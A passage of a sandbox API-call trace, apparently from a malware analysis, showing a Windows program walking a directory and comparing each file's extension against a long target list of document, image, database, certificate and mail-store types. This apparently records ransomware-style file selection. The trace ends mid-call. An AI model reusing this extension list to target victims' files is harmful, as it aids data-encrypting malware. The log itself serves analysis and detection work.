lstrlenW (lpString=".asm") returned 4 [0129.521] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0129.521] lstrlenW (lpString=".asmx") returned 5 [0129.521] lstrcmpiW (lpString1=".asmx", lpString2="t.dll") returned -1 [0129.521] lstrlenW (lpString=".asp") returned 4 [0129.521] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0129.521] lstrlenW (lpString=".aspx") returned 5 [0129.521] lstrcmpiW (lpString1=".aspx", lpString2="t.dll") returned -1 [0129.521] lstrlenW (lpString=".asr") returned 4 [0129.521] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0129.521] lstrlenW (lpString=".asx") returned 4 [0129.521] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0129.521] lstrlenW (lpString=".avi") returned 4 [0129.521] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0129.521] lstrlenW (lpString=".avs") returned 4 [0129.521] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0129.521] lstrlenW (lpString=".backup") returned 7 [0129.521] lstrcmpiW (lpString1=".backup", lpString2="ent.dll") returned -1 [0129.521] lstrlenW (lpString=".bak") returned 4 [0129.521] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0129.521] lstrlenW (lpString=".bay") returned 4 [0129.521] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0129.521] lstrlenW (lpString=".bd") returned 3 [0129.522] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0129.522] lstrlenW (lpString=".bin") returned 4 [0129.522] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0129.522] lstrlenW (lpString=".bmp") returned 4 [0129.522] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0129.522] lstrlenW (lpString=".bz2") returned 4 [0129.522] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0129.522] lstrlenW (lpString=".c") returned 2 [0129.522] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0129.522] lstrlenW (lpString=".cdr") returned 4 [0129.522] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0129.522] lstrlenW (lpString=".cer") returned 4 [0129.522] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0129.522] lstrlenW (lpString=".cf") returned 3 [0129.522] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0129.522] lstrlenW (lpString=".cfc") returned 4 [0129.522] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0129.522] lstrlenW (lpString=".cfm") returned 4 [0129.522] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0129.522] lstrlenW (lpString=".cfml") returned 5 [0129.522] lstrcmpiW (lpString1=".cfml", lpString2="t.dll") returned -1 [0129.522] lstrlenW (lpString=".cfu") returned 4 [0129.522] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0129.522] lstrlenW (lpString=".chm") returned 4 [0129.522] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0129.522] lstrlenW (lpString=".cin") returned 4 [0129.522] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0129.523] lstrlenW (lpString=".class") returned 6 [0129.523] lstrcmpiW (lpString1=".class", lpString2="nt.dll") returned -1 [0129.523] lstrlenW (lpString=".clx") returned 4 [0129.523] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0129.523] lstrlenW (lpString=".config") returned 7 [0129.523] lstrcmpiW (lpString1=".config", lpString2="ent.dll") returned -1 [0129.523] lstrlenW (lpString=".cpp") returned 4 [0129.523] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0129.523] lstrlenW (lpString=".cr2") returned 4 [0129.523] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0129.523] lstrlenW (lpString=".crt") returned 4 [0129.523] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0129.523] lstrlenW (lpString=".crw") returned 4 [0129.523] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0129.523] lstrlenW (lpString=".cs") returned 3 [0129.523] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0129.523] lstrlenW (lpString=".css") returned 4 [0129.523] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0129.523] lstrlenW (lpString=".csv") returned 4 [0129.523] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0129.523] lstrlenW (lpString=".cub") returned 4 [0129.523] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0129.523] lstrlenW (lpString=".dae") returned 4 [0129.523] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0129.523] lstrlenW (lpString=".dat") returned 4 [0129.523] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0129.524] lstrlenW (lpString=".db") returned 3 [0129.524] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0129.524] lstrlenW (lpString=".dbf") returned 4 [0129.524] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0129.524] lstrlenW (lpString=".dbx") returned 4 [0129.524] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0129.524] lstrlenW (lpString=".dc3") returned 4 [0129.524] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0129.524] lstrlenW (lpString=".dcm") returned 4 [0129.524] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0129.524] lstrlenW (lpString=".dcr") returned 4 [0129.524] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0129.524] lstrlenW (lpString=".der") returned 4 [0129.524] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0129.524] lstrlenW (lpString=".dib") returned 4 [0129.524] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0129.524] lstrlenW (lpString=".dic") returned 4 [0129.524] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0129.524] lstrlenW (lpString=".dif") returned 4 [0129.524] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0129.524] lstrlenW (lpString=".divx") returned 5 [0129.524] lstrcmpiW (lpString1=".divx", lpString2="t.dll") returned -1 [0129.524] lstrlenW (lpString=".djvu") returned 5 [0129.524] lstrcmpiW (lpString1=".djvu", lpString2="t.dll") returned -1 [0129.524] lstrlenW (lpString=".dng") returned 4 [0129.524] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0129.524] lstrlenW (lpString=".doc") returned 4 [0129.524] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0129.525] lstrlenW (lpString=".docm") returned 5 [0129.525] lstrcmpiW (lpString1=".docm", lpString2="t.dll") returned -1 [0129.525] lstrlenW (lpString=".docx") returned 5 [0129.525] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0129.525] lstrlenW (lpString=".dot") returned 4 [0129.525] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0129.525] lstrlenW (lpString=".dotm") returned 5 [0129.525] lstrcmpiW (lpString1=".dotm", lpString2="t.dll") returned -1 [0129.525] lstrlenW (lpString=".dotx") returned 5 [0129.525] lstrcmpiW (lpString1=".dotx", lpString2="t.dll") returned -1 [0129.525] lstrlenW (lpString=".dpx") returned 4 [0129.525] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0129.525] lstrlenW (lpString=".dqy") returned 4 [0129.525] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0129.525] lstrlenW (lpString=".dsn") returned 4 [0129.525] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0129.525] lstrlenW (lpString=".dt") returned 3 [0129.525] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0129.525] lstrlenW (lpString=".dtd") returned 4 [0129.525] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0129.525] lstrlenW (lpString=".dwg") returned 4 [0129.525] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0129.525] lstrlenW (lpString=".dwt") returned 4 [0129.525] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0129.525] lstrlenW (lpString=".dx") returned 3 [0129.525] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0129.525] lstrlenW (lpString=".dxf") returned 4 [0129.525] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0129.526] lstrlenW (lpString=".edml") returned 5 [0129.526] lstrcmpiW (lpString1=".edml", lpString2="t.dll") returned -1 [0129.526] lstrlenW (lpString=".efd") returned 4 [0129.526] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0129.526] lstrlenW (lpString=".elf") returned 4 [0129.526] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0129.526] lstrlenW (lpString=".emf") returned 4 [0129.526] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0129.526] lstrlenW (lpString=".emz") returned 4 [0129.526] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0129.526] lstrlenW (lpString=".epf") returned 4 [0129.526] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0129.526] lstrlenW (lpString=".eps") returned 4 [0129.526] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0129.526] lstrlenW (lpString=".epsf") returned 5 [0129.526] lstrcmpiW (lpString1=".epsf", lpString2="t.dll") returned -1 [0129.526] lstrlenW (lpString=".epsp") returned 5 [0129.526] lstrcmpiW (lpString1=".epsp", lpString2="t.dll") returned -1 [0129.526] lstrlenW (lpString=".erf") returned 4 [0129.526] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0129.526] lstrlenW (lpString=".exr") returned 4 [0129.526] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0129.526] lstrlenW (lpString=".f4v") returned 4 [0129.526] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0129.526] lstrlenW (lpString=".fido") returned 5 [0129.526] lstrcmpiW (lpString1=".fido", lpString2="t.dll") returned -1 [0129.526] lstrlenW (lpString=".flm") returned 4 [0129.527] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0129.527] lstrlenW (lpString=".flv") returned 4 [0129.527] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0129.527] lstrlenW (lpString=".frm") returned 4 [0129.527] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0129.527] lstrlenW (lpString=".fxg") returned 4 [0129.527] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0129.527] lstrlenW (lpString=".geo") returned 4 [0129.527] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0129.527] lstrlenW (lpString=".gif") returned 4 [0129.527] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0129.527] lstrlenW (lpString=".grs") returned 4 [0129.527] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0129.527] lstrlenW (lpString=".gz") returned 3 [0129.527] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0129.527] lstrlenW (lpString=".h") returned 2 [0129.527] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0129.527] lstrlenW (lpString=".hdr") returned 4 [0129.527] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0129.527] lstrlenW (lpString=".hpp") returned 4 [0129.527] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0129.527] lstrlenW (lpString=".hta") returned 4 [0129.527] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0129.527] lstrlenW (lpString=".htc") returned 4 [0129.527] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0129.527] lstrlenW (lpString=".htm") returned 4 [0129.527] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0129.527] lstrlenW (lpString=".html") returned 5 [0129.527] lstrcmpiW (lpString1=".html", lpString2="t.dll") returned -1 [0129.528] lstrlenW (lpString=".icb") returned 4 [0129.528] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0129.528] lstrlenW (lpString=".ics") returned 4 [0129.528] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0129.528] lstrlenW (lpString=".iff") returned 4 [0129.528] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0129.528] lstrlenW (lpString=".inc") returned 4 [0129.528] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0129.528] lstrlenW (lpString=".indd") returned 5 [0129.528] lstrcmpiW (lpString1=".indd", lpString2="t.dll") returned -1 [0129.528] lstrlenW (lpString=".ini") returned 4 [0129.528] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0129.528] lstrlenW (lpString=".iqy") returned 4 [0129.528] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0129.528] lstrlenW (lpString=".j2c") returned 4 [0129.528] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0129.528] lstrlenW (lpString=".j2k") returned 4 [0129.528] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0129.528] lstrlenW (lpString=".java") returned 5 [0129.528] lstrcmpiW (lpString1=".java", lpString2="t.dll") returned -1 [0129.528] lstrlenW (lpString=".jp2") returned 4 [0129.528] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0129.528] lstrlenW (lpString=".jpc") returned 4 [0129.528] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0129.528] lstrlenW (lpString=".jpe") returned 4 [0129.528] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0129.528] lstrlenW (lpString=".jpeg") returned 5 [0129.528] lstrcmpiW (lpString1=".jpeg", lpString2="t.dll") returned -1 [0129.529] lstrlenW (lpString=".jpf") returned 4 [0129.529] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0129.529] lstrlenW (lpString=".jpg") returned 4 [0129.529] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0129.529] lstrlenW (lpString=".jpx") returned 4 [0129.529] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0129.529] lstrlenW (lpString=".js") returned 3 [0129.529] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0129.529] lstrlenW (lpString=".jsf") returned 4 [0129.529] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0129.529] lstrlenW (lpString=".json") returned 5 [0129.529] lstrcmpiW (lpString1=".json", lpString2="t.dll") returned -1 [0129.529] lstrlenW (lpString=".jsp") returned 4 [0129.529] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0129.529] lstrlenW (lpString=".kdc") returned 4 [0129.529] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0129.529] lstrlenW (lpString=".kmz") returned 4 [0129.529] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0129.529] lstrlenW (lpString=".kwm") returned 4 [0129.529] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0129.529] lstrlenW (lpString=".lasso") returned 6 [0129.529] lstrcmpiW (lpString1=".lasso", lpString2="nt.dll") returned -1 [0129.529] lstrlenW (lpString=".lbi") returned 4 [0129.529] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0129.529] lstrlenW (lpString=".lgf") returned 4 [0129.529] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0129.529] lstrlenW (lpString=".lgp") returned 4 [0129.529] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0129.530] lstrlenW (lpString=".log") returned 4 [0129.530] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0129.530] lstrlenW (lpString=".m1v") returned 4 [0129.530] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0129.530] lstrlenW (lpString=".m4a") returned 4 [0129.530] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0129.530] lstrlenW (lpString=".m4v") returned 4 [0129.530] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0129.530] lstrlenW (lpString=".max") returned 4 [0129.530] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0129.530] lstrlenW (lpString=".md") returned 3 [0129.530] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0129.530] lstrlenW (lpString=".mda") returned 4 [0129.530] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0129.530] lstrlenW (lpString=".mdb") returned 4 [0129.530] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0129.530] lstrlenW (lpString=".mde") returned 4 [0129.530] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0129.530] lstrlenW (lpString=".mdf") returned 4 [0129.530] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0129.530] lstrlenW (lpString=".mdw") returned 4 [0129.530] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0129.530] lstrlenW (lpString=".mef") returned 4 [0129.530] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0129.530] lstrlenW (lpString=".mft") returned 4 [0129.530] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0129.530] lstrlenW (lpString=".mfw") returned 4 [0129.530] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0129.531] lstrlenW (lpString=".mht") returned 4 [0129.531] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0129.531] lstrlenW (lpString=".mhtml") returned 6 [0129.531] lstrcmpiW (lpString1=".mhtml", lpString2="nt.dll") returned -1 [0129.531] lstrlenW (lpString=".mka") returned 4 [0129.531] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0129.531] lstrlenW (lpString=".mkidx") returned 6 [0129.531] lstrcmpiW (lpString1=".mkidx", lpString2="nt.dll") returned -1 [0129.531] lstrlenW (lpString=".mkv") returned 4 [0129.531] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0129.531] lstrlenW (lpString=".mos") returned 4 [0129.531] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0129.531] lstrlenW (lpString=".mov") returned 4 [0129.531] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0129.531] lstrlenW (lpString=".mp3") returned 4 [0129.531] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0129.531] lstrlenW (lpString=".mp4") returned 4 [0129.531] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0129.531] lstrlenW (lpString=".mpeg") returned 5 [0129.531] lstrcmpiW (lpString1=".mpeg", lpString2="t.dll") returned -1 [0129.531] lstrlenW (lpString=".mpg") returned 4 [0129.531] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0129.531] lstrlenW (lpString=".mpv") returned 4 [0129.531] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0129.531] lstrlenW (lpString=".mrw") returned 4 [0129.531] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0129.531] lstrlenW (lpString=".msg") returned 4 [0129.531] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0129.532] lstrlenW (lpString=".mxl") returned 4 [0129.532] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0129.532] lstrlenW (lpString=".myd") returned 4 [0129.532] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0129.532] lstrlenW (lpString=".myi") returned 4 [0129.532] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0129.532] lstrlenW (lpString=".nef") returned 4 [0129.532] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0129.532] lstrlenW (lpString=".nrw") returned 4 [0129.532] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0129.532] lstrlenW (lpString=".obj") returned 4 [0129.532] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0129.532] lstrlenW (lpString=".odb") returned 4 [0129.532] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0129.532] lstrlenW (lpString=".odc") returned 4 [0129.532] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0129.532] lstrlenW (lpString=".odm") returned 4 [0129.532] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0129.532] lstrlenW (lpString=".odp") returned 4 [0129.532] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0129.532] lstrlenW (lpString=".ods") returned 4 [0129.532] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0129.532] lstrlenW (lpString=".oft") returned 4 [0129.532] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0129.532] lstrlenW (lpString=".one") returned 4 [0129.532] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0129.532] lstrlenW (lpString=".onepkg") returned 7 [0129.532] lstrcmpiW (lpString1=".onepkg", lpString2="ent.dll") returned -1 [0129.533] lstrlenW (lpString=".onetoc2") returned 8 [0129.533] lstrcmpiW (lpString1=".onetoc2", lpString2="ient.dll") returned -1 [0129.533] lstrlenW (lpString=".opt") returned 4 [0129.533] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0129.533] lstrlenW (lpString=".oqy") returned 4 [0129.533] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0129.533] lstrlenW (lpString=".orf") returned 4 [0129.533] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0129.533] lstrlenW (lpString=".p12") returned 4 [0129.533] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0129.533] lstrlenW (lpString=".p7b") returned 4 [0129.533] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0129.533] lstrlenW (lpString=".p7c") returned 4 [0129.533] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0129.533] lstrlenW (lpString=".pam") returned 4 [0129.533] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0129.533] lstrlenW (lpString=".pbm") returned 4 [0129.533] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0129.533] lstrlenW (lpString=".pct") returned 4 [0129.533] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0129.533] lstrlenW (lpString=".pcx") returned 4 [0129.533] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0129.533] lstrlenW (lpString=".pdd") returned 4 [0129.533] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0129.533] lstrlenW (lpString=".pdf") returned 4 [0129.533] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0129.533] lstrlenW (lpString=".pdp") returned 4 [0129.534] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0129.534] lstrlenW (lpString=".pef") returned 4 [0129.534] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0129.534] lstrlenW (lpString=".pem") returned 4 [0129.534] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0129.534] lstrlenW (lpString=".pff") returned 4 [0129.534] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0129.534] lstrlenW (lpString=".pfm") returned 4 [0129.534] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0129.534] lstrlenW (lpString=".pfx") returned 4 [0129.534] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0129.534] lstrlenW (lpString=".pgm") returned 4 [0129.534] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0129.534] lstrlenW (lpString=".php") returned 4 [0129.534] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0129.534] lstrlenW (lpString=".php3") returned 5 [0129.534] lstrcmpiW (lpString1=".php3", lpString2="t.dll") returned -1 [0129.534] lstrlenW (lpString=".php4") returned 5 [0129.534] lstrcmpiW (lpString1=".php4", lpString2="t.dll") returned -1 [0129.534] lstrlenW (lpString=".php5") returned 5 [0129.534] lstrcmpiW (lpString1=".php5", lpString2="t.dll") returned -1 [0129.534] lstrlenW (lpString=".phtml") returned 6 [0129.534] lstrcmpiW (lpString1=".phtml", lpString2="nt.dll") returned -1 [0129.534] lstrlenW (lpString=".pict") returned 5 [0129.534] lstrcmpiW (lpString1=".pict", lpString2="t.dll") returned -1 [0129.534] lstrlenW (lpString=".pl") returned 3 [0129.534] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0129.534] lstrlenW (lpString=".pls") returned 4 [0129.535] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0129.535] lstrlenW (lpString=".pm") returned 3 [0129.535] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0129.535] lstrlenW (lpString=".png") returned 4 [0129.535] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0129.535] lstrlenW (lpString=".pnm") returned 4 [0129.535] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0129.535] lstrlenW (lpString=".pot") returned 4 [0129.535] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0129.535] lstrlenW (lpString=".potm") returned 5 [0129.535] lstrcmpiW (lpString1=".potm", lpString2="t.dll") returned -1 [0129.535] lstrlenW (lpString=".potx") returned 5 [0129.535] lstrcmpiW (lpString1=".potx", lpString2="t.dll") returned -1 [0129.535] lstrlenW (lpString=".ppa") returned 4 [0129.535] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0129.535] lstrlenW (lpString=".ppam") returned 5 [0129.535] lstrcmpiW (lpString1=".ppam", lpString2="t.dll") returned -1 [0129.535] lstrlenW (lpString=".ppm") returned 4 [0129.535] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0129.535] lstrlenW (lpString=".pps") returned 4 [0129.535] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0129.535] lstrlenW (lpString=".ppsm") returned 5 [0129.535] lstrcmpiW (lpString1=".ppsm", lpString2="t.dll") returned -1 [0129.535] lstrlenW (lpString=".ppt") returned 4 [0129.535] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0129.535] lstrlenW (lpString=".pptm") returned 5 [0129.535] lstrcmpiW (lpString1=".pptm", lpString2="t.dll") returned -1 [0129.535] lstrlenW (lpString=".pptx") returned 5 [0129.535] lstrcmpiW (lpString1=".pptx", lpString2="t.dll") returned -1 [0129.536] lstrlenW (lpString=".prn") returned 4 [0129.536] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0129.536] lstrlenW (lpString=".ps") returned 3 [0129.536] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0129.536] lstrlenW (lpString=".psb") returned 4 [0129.536] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0129.536] lstrlenW (lpString=".psd") returned 4 [0129.536] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0129.536] lstrlenW (lpString=".pst") returned 4 [0129.536] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0129.536] lstrlenW (lpString=".ptx") returned 4 [0129.536] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0129.536] lstrlenW (lpString=".pub") returned 4 [0129.536] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0129.536] lstrlenW (lpString=".pwm") returned 4 [0129.536] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0129.536] lstrlenW (lpString=".pxr") returned 4 [0129.536] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0129.536] lstrlenW (lpString=".py") returned 3 [0129.536] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0129.536] lstrlenW (lpString=".qt") returned 3 [0129.536] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0129.536] lstrlenW (lpString=".r3d") returned 4 [0129.536] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0129.536] lstrlenW (lpString=".raf") returned 4 [0129.536] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1 [0129.536] lstrlenW (lpString=".rar") returned 4 [0129.537] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0129.537] lstrlenW (lpString=".raw") returned 4 [0129.537] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1 [0129.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.538] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0129.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.543] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0129.545] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.545] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0129.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.547] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: lpFindFileData=0x38aee10) returned 1 [0129.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0129.550] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38aee10 | out: 